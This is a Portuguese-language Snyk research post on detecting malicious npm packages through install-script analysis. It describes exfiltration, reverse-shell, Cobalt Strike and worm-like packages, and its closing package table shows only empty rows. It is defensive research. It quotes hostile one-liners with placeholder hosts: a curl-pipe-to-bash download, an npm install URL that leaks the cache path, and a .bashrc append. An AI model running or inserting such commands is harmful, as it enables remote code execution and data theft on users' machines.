Snyk encontra mais de 200 pacotes npm maliciosos, incluindo ataques de confusão de dependência do Cobalt Strike
Kirill Efimov
24 de maio de 2022
0 minutos de leituraRecentemente, a Snyk descobriu mais de 200 pacotes maliciosos no registro do npm. Embora reconheçamos que a fadiga de vulnerabilidades é um problema para os desenvolvedores, este artigo não trata dos casos típicos de typosquatting nem de pacotes maliciosos aleatórios. Ele apresenta as descobertas de ataques direcionados a empresas e corporações que a Snyk conseguiu detectar, além dos insights obtidos.
Neste post, em vez de explicar o que é confusão de dependência e por que ela tem um impacto tão grande no ecossistema JavaScript (e, em especial, no registro do npm), vamos nos concentrar na abordagem usada pela Snyk e nos pacotes maliciosos que descobrimos recentemente. Se você precisa entender os conceitos básicos da confusão de dependência e os riscos envolvidos, recomendamos a leitura de Confusão de dependência: como invadi a Apple, a Microsoft e dezenas de outras empresas, de Alex Birsan, e da divulgação da Snyk sobre uma simulação de ataque direcionado a dependências, flagrada em tempo real.
Além disso, queremos falar sobre como pesquisadores de programas de recompensa por bugs e equipes red team contribuem para a contaminação do ecossistema npm, gerando falsos alertas de segurança e tornando a situação ainda mais problemática do que era antes do surgimento dos vetores de ataque de confusão de dependência.
Recentemente, muitas empresas têm se concentrado na segurança da cadeia de suprimentos, e a detecção de pacotes maliciosos é uma parte importante desse trabalho. Não temos dúvida de que o npm recebeu a maior parte da atenção. Internamente, discutimos bastante sobre o npm: será que poderíamos fazer melhor do que outros fornecedores que publicam regularmente sobre pacotes maliciosos de baixo impacto? Decidimos tentar e implementar uma abordagem simples para ver quantos pacotes maliciosos conseguiríamos detectar dessa forma. Depois, passamos bastante tempo ajustando essa abordagem e, quando o centésimo pacote malicioso foi adicionado à Snyk Vulnerability Database, percebemos que precisávamos escrever sobre isso. Mas, antes, vamos explorar como encontrar pacotes maliciosos em um registro como o npm.
Como encontrar pacotes maliciosos no registro do npm
Para começar, precisávamos definir o escopo e os objetivos desta pesquisa de segurança:
Nos concentramos apenas em lógica maliciosa executada durante a instalação. Ou seja, apenas no que acontece durante o
npm install. Scripts maliciosos executados em tempo de execução estão fora do escopo e serão abordados em um estudo de caso futuro.A quantidade de sinais de falsos positivos precisava ser administrável. Definimos isso como a capacidade de um analista de segurança analisar todas as pistas em uma hora de trabalho ou menos.
O coletor precisava ser modular. Ele já havia evoluído várias vezes e continua evoluindo. Algumas técnicas de detecção foram adicionadas e outras, removidas por causa do item 2.
Como abordagem inicial, decidimos usar apenas análises estáticas. Vamos abordar a parte dinâmica em outra publicação.
É importante definir o que consideramos comportamento malicioso. Por exemplo, abrir um shell reverso ou modificar arquivos fora da pasta do projeto é uma atividade maliciosa.
Mas também acreditamos que, se um pacote exfiltra informações de identificação pessoal (ou quaisquer dados que possam conter informações pessoais), isso pode ser considerado malicioso. Por exemplo:
Um pacote que envia o GUID da máquina = não é malicioso – O GUID não contém dados pessoais do usuário e costuma ser usado para contar o número de instalações únicas de um pacote.
Um pacote que envia o caminho da pasta do aplicativo = malicioso – Os caminhos das pastas de aplicativos geralmente contêm o nome do usuário atual (que pode ser o nome e o sobrenome reais da pessoa).
O sistema subjacente é composto por:
Lógica de coleta para obter informações sobre pacotes recém-adicionados e modificados.
Lógica de marcação para fornecer metadados úteis aos analistas de segurança.
Lógica de classificação para priorizar as pistas sobre pacotes maliciosos de acordo com a etapa anterior.
O coletor gera arquivos YAML (que servem como pontos de dados para as pistas). Em seguida, um analista de segurança os avalia e os classifica em uma destas três opções:
Bom – Pacotes sem indícios suspeitos. Usamos esses casos como exemplos de comportamento não malicioso.
Ruim – Pacotes maliciosos.
Ignorado – Pacotes que provavelmente não são maliciosos, mas cujo comportamento durante a instalação é comum ou complexo demais para servir de padrão em casos futuros.
Reconhecimento do registro do npm para coletar informações sobre pacotes
De acordo com o primeiro requisito que definimos, precisamos analisar todos os pacotes novos e atualizados que tenham scripts executados durante a instalação: preinstall, install ou postinstall.
O registro do npm usa o CouchDB internamente. Para facilitar o acesso público, ele disponibiliza o CouchDB por meio de replicate.npmjs.com. Assim, basta consultar o endpoint _changes em ordem crescente. Isso permite:
obter uma lista de pacotes atualizados e criados a partir do ID do evento que recebemos na execução anterior do coletor.
Além disso, usamos os endpoints https://registry.npmjs.org/ para obter os metadados de cada pacote da lista e https://api.npmjs.org/downloads para consultar o número de downloads de cada pacote.
A única parte complicada da coleta de dados é extrair os scripts executados durante a instalação de um arquivo tarball do pacote. Em média, um tarball de pacote npm tem menos de um megabyte, mas alguns podem ser enormes, chegando a centenas de megabytes. Felizmente, os arquivos tar são estruturados de uma forma que permite implementar uma abordagem de streaming. Basta baixar o arquivo do pacote até encontrar o arquivo que procuramos e, então, encerrar a conexão, economizando tempo e tráfego de rede. Para isso, usamos o pacote npm tar-stream. Esta é uma boa oportunidade para agradecer a Mathias Buus, que contribui muito para o desenvolvimento de JavaScript e Node.js e mantém vários pacotes npm de código aberto que ajudam desenvolvedores no dia a dia.
Como marcar pacotes maliciosos no registro do npm
A esta altura, já temos todos os metadados do pacote: histórico de versões, nome do responsável pela manutenção, conteúdo dos scripts executados durante a instalação, dependências e muito mais. Podemos começar a aplicar regras. Vou mostrar algumas das regras que, na minha experiência, foram mais eficazes:
bigVersion– Se a versão principal de um pacote é igual ou superior a 90. Em um ataque de confusão de dependência, o pacote malicioso que será baixado precisa ter uma versão mais alta que a do pacote original. Como veremos adiante, pacotes maliciosos costumam ter versões como 99.99.99.yearNoUpdates– O pacote recebe uma atualização pela primeira vez no ano. Esse é um sinal importante para determinar se um pacote ficou sem manutenção por algum tempo e foi comprometido por um agente de ameaça.noGHTagLastVersion– A nova versão de um pacote não tem uma tag no repositório correspondente do GitHub (embora a versão anterior tivesse). Isso ajuda a identificar casos em que a conta de um usuário do npm foi comprometida, mas a conta do GitHub não.isSuspiciousFile– Temos um conjunto de expressões regulares para detectar scripts potencialmente maliciosos executados durante a instalação. Elas detectam técnicas comuns de ofuscação, o uso de domínios comocanarytokens.comoungrok.io, indícios de endereços IP e muito mais.isSuspiciousScript– Um conjunto de expressões regulares para detectar scripts potencialmente maliciosos no arquivo package.json. Por exemplo, descobrimos que“postinstall: “node .”é usado com frequência em pacotes maliciosos.
O sistema subjacente implementa outras marcações, mas a lista acima dá uma boa ideia de como funciona a lógica do coletor.
Como classificar os dados dos pacotes npm
Queremos adicionar mais automações ao processo, em vez de depender de análises manuais por analistas de segurança. Se um script executado durante a instalação já foi classificado como bom ou ruim, classificamos automaticamente os novos casos da mesma forma. Isso funciona principalmente para casos de comportamento não malicioso, como “postinstall”: “webpack” ou “postinstall”: “echo thanks for using please donate”, e ajuda a reduzir o ruído.
Além disso, priorizamos determinadas marcações porque elas apresentam uma taxa maior de verdadeiros positivos. Especificamente, isSuspiciousFile e isSuspiciousScript têm a prioridade mais alta.
Análise manual de segurança
A última etapa do processo de detecção é a análise manual. Ela também acontece em várias fases:
Verificar as pistas classificadas automaticamente e as de alta prioridade, que têm maior probabilidade de ser maliciosas. Analisar as pistas ainda não classificadas, uma a uma, para identificar novas regras para casos maliciosos ou não maliciosos.
Atualizar a lógica do coletor de acordo com o item 2.
Adicionar cada pacote malicioso à Snyk Vulnerability Database.
Em alguns casos, como o de gxm-reference-web-auth-server, se um pacote parecer ter uma lógica maliciosa incomum, o analista dedicará mais tempo a uma análise aprofundada e compartilhará os insights com a comunidade e os usuários da Snyk.
Esse fluxo nos permite aprimorar o coletor todos os dias e automatizar o processo.
Quais pacotes maliciosos do npm conseguimos detectar?
Até o momento, o sistema já identificou mais de 200 pacotes npm com detecções confirmadas e que também representam uma ameaça viável de ataque de confusão de dependência. Queremos categorizar melhor essas descobertas e demonstrar os diferentes comportamentos e conceitos adotados pelos invasores.
Pacotes maliciosos que exfiltram dados
Um dos tipos mais comuns de pacotes maliciosos é a exfiltração de dados por meio de solicitações HTTP ou DNS. Muitas vezes, trata-se de uma cópia modificada do script original usado na pesquisa sobre confusão de dependência. Às vezes, os pacotes incluem comentários como “este pacote é usado para fins de pesquisa” ou “nenhum dado confidencial é coletado”. Mas não se deixe enganar: eles coletam informações pessoais identificáveis e as enviam pela rede, algo que nunca deveria acontecer.
Um exemplo típico de pacote desse tipo encontrado pela Snyk:
Vimos tentativas de exfiltrar as seguintes informações (da relativamente inofensiva à mais perigosa):
Nome do usuário atual
Caminho do diretório pessoal
Caminho do diretório do aplicativo
Lista de arquivos em várias pastas, como o diretório pessoal ou o diretório de trabalho do aplicativo
Resultado do comando de sistema
ifconfigArquivo
package.jsondo aplicativoVariáveis de ambiente
Arquivo
.npmrc
Uma adição interessante a esse grupo de pacotes maliciosos são aqueles que têm um script install como npm install http://<malicious host>/tastytreats-1.0.0.tgz?yy=npm get cache. Ele claramente exfiltra o caminho do diretório de cache do npm (que geralmente fica na pasta pessoal do usuário atual), mas também instala um pacote de uma fonte externa. Pela nossa experiência, esse pacote externo é sempre apenas um pacote falso, sem lógica nem arquivos. Mas talvez haja condições regionais ou outras condições do lado do servidor, ou talvez ele se transforme em um minerador de criptomoedas ou cavalo de Troia depois de algum tempo.
Em alguns casos, encontramos evidências de scripts Bash, como:
O exemplo acima exfiltra informações sobre o endereço IP público, o nome do host e o nome do usuário.
Pacotes maliciosos que abrem um shell reverso
Outro tipo comum de pacote malicioso tenta abrir um shell reverso. Isso significa que a máquina visada se conecta a um servidor remoto controlado por um invasor, permitindo que ele controle a máquina remotamente. Esses scripts podem ser tão simples quanto este:
Ou ter implementações mais complexas que usam net.Socket ou outros métodos de conexão.
O principal desafio nessa categoria é que, embora a lógica pareça simples, o comportamento malicioso fica completamente oculto no servidor do hacker. Ainda assim, é possível perceber o impacto: um hacker pode assumir o controle total do computador em que o pacote malicioso está instalado.
Decidimos executar um dos pacotes desse tipo em um ambiente isolado. Estes foram os comandos que registramos:
nohup curl -A O -o- -L http://<malicious IP>/dx-log-analyser-Linux | bash -s &> /tmp/log.out&– baixa e executa um script do servidor malicioso.O script baixado do servidor malicioso se instalou no diretório
/tmpe passou a se consultar a cada 10 segundos, aguardando atualizações do invasor remoto.Depois de algum tempo, ele baixou um arquivo binário que, segundo o VirusTotal, é um trojan Cobalt Strike.

O uso de trojans em pacotes npm maliciosos
Nesta categoria, encontramos vários pacotes que instalam e executam diferentes agentes de comando e controle. Explicar esses casos em mais detalhes está fora do escopo deste artigo. Por isso, recomendamos a leitura do nosso artigo recente sobre a engenharia reversa do pacote gxm-reference-web-auth-server. Esse artigo apresenta os resultados de uma pesquisa ética de red team realizada por hackers éticos e também é um bom exemplo do que pode haver em pacotes npm envolvidos nesse tipo de ataque malicioso de confusão de dependências. Além disso, é um exemplo interessante de como flagrar um red team em ação.
Em outro caso interessante, verificamos as chamadas de sistema no ambiente isolado e uma delas nos chamou a atenção: ela iniciava um processo em segundo plano e executava uma chamada de espera por 30 minutos. Só depois disso começava a atividade maliciosa.
Encontrando pegadinhas e protestos em pacotes npm
Em março, publicamos um artigo sobre pacotes npm de protestware. Além do protestware, também observamos várias tentativas de abrir vídeos do YouTube ou vídeos impróprios para o trabalho (NSFW) e outros sites no navegador, ou até de adicioná-los como comando ao arquivo .bashrc.
O código de exemplo pode ser tão simples quanto open [https://www.youtube.com/watch?v=](https://www.youtube.com/watch?v=)<xxx> no script postinstall ou shell.exec(echo '\nopen https://<NSFW website>' >> ~/.bashrc) em um arquivo JavaScript executado durante a instalação.
Outro exemplo potencialmente prejudicial de pacote malicioso que detectamos durante esta investigação é um pacote que verifica se você tem um arquivo .npmrc e, caso tenha, executa npm publish para criar uma cópia própria em nome do seu usuário do npm. Como você pode ver, ele age como um worm e, em certas circunstâncias, pode se tornar uma ameaça real.
Conclusões e recomendações
Na Snyk, todos os dias trabalhamos para tornar os ecossistemas de software de código aberto mais seguros. Hoje, apresentamos algumas variações de pacotes npm maliciosos, mas essa lista está longe de ser completa. Nossa pesquisa mostrou que o ecossistema npm é usado ativamente para realizar diversos ataques à cadeia de suprimentos. Recomendamos que você use ferramentas como a Snyk para proteger você, desenvolvedor ou mantenedor, e também seus aplicativos e projetos.
Se você é um caçador de recompensas por bugs ou integra uma equipe de red team e precisa publicar um pacote npm para realizar atividades de reconhecimento, recomendamos que siga os termos de serviço e as diretrizes legais do npm. Em qualquer caso, não exfiltre informações de identificação pessoal (PII) e deixe explícita a finalidade do pacote nos comentários do código-fonte ou na descrição do pacote. Observamos alguns pacotes de pesquisa legítimos que enviavam identificadores exclusivos de máquinas, como o node-machine-id.
Comece a resolver desafios de capture the flag
Aprenda a resolver desafios de capture the flag assistindo sob demanda ao nosso workshop virtual introdutório.
Resumo dos pacotes afetados até a data de publicação
Para resumir, gostaríamos de publicar a lista dos pacotes que conseguimos detectar. Alguns, talvez a maioria, já foram removidos do registro npm, mas outros ainda estavam disponíveis quando esta pesquisa foi publicada.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
